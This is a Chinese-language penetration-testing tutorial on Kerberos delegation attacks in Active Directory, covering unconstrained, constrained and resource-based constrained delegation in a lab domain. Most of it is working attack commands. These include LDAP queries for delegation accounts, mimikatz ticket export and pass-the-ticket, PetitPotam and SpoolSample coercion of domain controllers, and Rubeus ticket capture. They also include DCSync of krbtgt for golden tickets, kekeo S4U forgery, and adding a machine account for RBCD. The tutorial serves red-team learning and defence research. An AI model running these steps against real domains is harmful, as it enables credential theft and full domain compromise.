Kerberos(4)-非约束&约束&资源约束委派攻击
域渗透之委派攻击详解(非约束委派/约束委派/资源约束委派)
委派(SPN)是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:
- 非约束性委派
- 约束性委派
- 基于资源的约束性委派(RBCD)
非约束性委派
非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation
(非约束委派),则当user
访问service1
时会将user的TGT
发送给service1
并保存在内存中以备下次重用,然后service1
就可以利用这张TGT
以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
非约束委派利用
由于非约束委派得不安全性,现在各种真实环境中基本很难遇到。但是由于域控制器默认是非约束委派,因此非约束委派可以用于跨域攻击。由于需要目标进行回连,除了钓鱼让目标链接目前常用的方法是利用Spooler打印机服务漏洞和efsrpc-PetitPotam漏洞。
非约束委派实践
非约束委派主机用户利用
实验设置:
在域控制器中设置用户和计算机用户,选择实验计算机右键属性在委派配置中选择信任此计算机来委派任何服务(Kerberos),确认。
实验操作:
- 查找非约束委派计算机用户
首先需要获取到被设置了非约束委派的计算机用户权限。这里是WEB006。
如果在域中寻找攻击路径中的非约束委派计算机用户可以使用一下工具
AdFind.exe,工具地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
1 | AdFind.exe -b "DC=dt,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
PowerView,工具地址:https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1
1 | powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-NetUser -Domain test.com|select name" |
ldapsearch,kali自带
1 | ldapsearch -x -H ldap://10.10.10.10:389 -D "test@dt.com" -b "DC=test,DC=com" -w testpassword "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName" |
工具原理都是在ldap中搜索符和条件的服务用户和计算机用户
这里使用AdFind.exe查询,在非域用户情况下执行会提示无效凭据,这是因为ldap需要域用户才能访问。
重新使用域用户查询。
这里直接上线的WEB006机器,所以直接在此机器上进行操作,上面AD和AD2都是域控制器。
如果是真实环境,有正常服务,会在内存中dump出很多其他用户的凭证。但是为了模拟有正常服务有用户访问。这里WEB006中起了winRM服务,所以模拟其他用户(这里使用域管理员用户)来访问。
- 其他用户访问非约束委派服务
powershell链接winRM服务
1 | Enter-PSSession -ComputerName WEB006 |
- 非约束委派服务计算机导出凭证
使用mimikatz导出凭证(mimikatz导出凭证需要管理员权限)
1 | shell mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" |
执行后会在当前目录生成当前计算机保存的所有票据。
- 注入TGT到当前会话中,如果使用mimikatz导入不太好利用,CS直接提供了相关命令kerberos_ticket_use。
1 | shell mimikatz.exe "kerberos::ptt [0;854239]-2-0-60a10000-Administrator@krbtgt-DT.COM.kirbi" exit |
CS中
1 | kerberos_ticket_use [0;abf109]-2-0-60a10000-Administrator@krbtgt-DT.COM.kirbi |
路径是默认从cs目录,所以需要把导出的凭证下载到本地。
然后就可以直接连接到AD。
非约束委派服务用户利用
查找域中配置非约束委派的服务用户:
1 | AdFind.exe -b "DC=dt,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName |
然后跟非约束机器用户利用类似,只是连接的是非约束服务用户所起的对应服务。
非约束委派+Spooler打印机服务/efsrpc-PetitPotam
单纯的非约束委派话需要管理员主动连接,在实战环境利用比较鸡肋。
利用Spooler打印机服务/efsrpc-PetitPotam可以强制指定的主机进行连接。
Spooler打印机服务漏洞原理:利用Windows打印系统远程协议(MS-RPRN)
中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)
方法强制任何运行了Spooler
服务的计算机以通过Kerberos
或NTLM
对攻击者选择的目标进行身份验证。
PetitPotam漏洞原理:用于强制 Windows 主机通过 MS-EFSRPC`` EfsRpcOpenFileRaw
或其他功能向其他计算机进行身份验证
操作
这里直接演示跨域,因为域控制器本身就是满足非约束委派要求
工具准备:
SpoolSample.exe:https://github.com/leechristensen/SpoolSample
PetitPotam.exe:https://github.com/topotam/PetitPotam
PetitPotam:
1 | PetitPotam.exe 10.10.10.20 ad.dt.com 1 #这里需要注意使用域名访问利用,ip利用失败。ad.dt.com为主域控制器 |
利用成功后会返回主域的域管理员票据。但是这里的票据使用mimikatz导出导入不能直接使用但是Rubeus可以直接使用,不知道原因。
但是可以用Rubeus.exe获取到票据。
1 | Rubeus.exe monitor /filteruser:AD$ /interval:5 #这里过滤获取到的是主域机器账号票据,获取不到域管理员的。 |
使用powershell转成票据供mimikatz使用也可以用Rubeus直接导入使用:
1 | [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("")) |
查看票据是主域的krbtgt的票据:
然后导出krbtgt的hash,找到域管理员的sid即可制作黄金票据
1 | lsadump::dcsync /domain:dt.com /all /csv |
SpoolSample:
1 | SpoolSample.exe ad.dt.com test.test.dt.com #test.test.dt.com子域控制器、ad.dt.com主域控制器 |
这之后也是一样的情况,按照SpoolSample后续操作。
约束委派
由于非约束委派的不安全性,微软在windows server 2003
中引入了约束委派,通过白名单的方式限制受委派的服务可以哪些服务。Kerberos不能直接为用户或者用户组构造特殊的票据来实现委派,于是将kerberos协议进行了拓展,引入了S4U
,其中S4U
支持两个子协议:Service for User to Self (S4U2Self)
和 Service for User to Proxy (S4U2proxy)
,这两个扩展都允许服务代表用户从KDC请求票证。S4U2self
可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy
可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy
扩展的范围。
约束委派利用
- 通过约束委派伪造任意用户访问特定服务。
- 如果服务是krbtgt可以构造黄金票据。
约束委派实践
实验设置:
设置web006为约束委派机器账号,约束委派服务是web01机器的cifs服务。并且勾选任何身份验证协议。
实验操作:
kekeo:https://github.com/gentilkiwi/kekeo
获取到委派机器用户或者委派服务用户之后,利用kekeo请求该用户TGT
1 | tgt::ask /user:web006$ /domain:dt.com /NTLM:d972224dc9bd7ab2338565a486ce8c29 /ticket:test.kirbi #机器用户可以mimikatz获取NTLM Hash |
获取到委派用户的TGT票据,TGT_web006$@DT.COM_krbtgt~dt.com@DT.COM.kirbi
使用委派用户TGT伪造s4u请求以administrator
用户身份请求访问web01
的ST
1 | tgs::s4u /tgt:TGT_web006$@DT.COM_krbtgt~dt.com@DT.COM.kirbi /user:Administrator@dt.com /service:cifs/web01.dt.com |
S4U2Self
获取到ST1
S4U2Proxy
获取到WEB01的CIFS服务的ST2
然后我们用mimikatz将ST2导入当前会话即可
1 | kerberos::ptt TGS_Administrator@dt.com@DT.COM_cifs~WEB01.DT.COM@DT.COM.kirbi |
之后可以成功访问到web01的cifs服务。
基于资源约束委派
基于资源约束委派是在约束委派中又增加了一个白名单,委派访问的第三方服务限制委派的机器用户或者服务用户。
基于资源约束委派利用
基于资源约束委派的利用主要是利用可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的用户。这个属性就是限制委派的机器用户和服务用户。如果能够修改这个属性,并且能添加机器用户,那么通过S4U2Self协议可以将机器用户伪造成机器管理员账号。
基于资源约束委派实践
实验设置:
目标:web01.dt.com
加入域用户:web2012
实验操作:
- 通过用户sid查询此用户加入域内机器
1 | whoami /all #查看SID |
- 添加机器账号
powermad:https://github.com/Kevin-Robertson/Powermad
1 | powershell |
1 | Get-ADComputer ceshi #获取机器用户sid |
- 修改msDS-AllowedToActOnBehalfOfOtherIdentity
Windows 2012 以下
1 | powershell |
Windows 2012 以上
1 | Set-ADComputer yukong -PrincipalsAllowedToDelegateToAccount ceshi$ |
- 伪造票据
1 | Rubeus.exe hash /user:ceshi /password:cheshi123 /domain:dt.com |
- 使用票据访问对应的服务
设置c:\test目录必须域管理员或者系统管理才能访问。
1 | dir \\web01.dt.com\c$\test #测试访问成功 |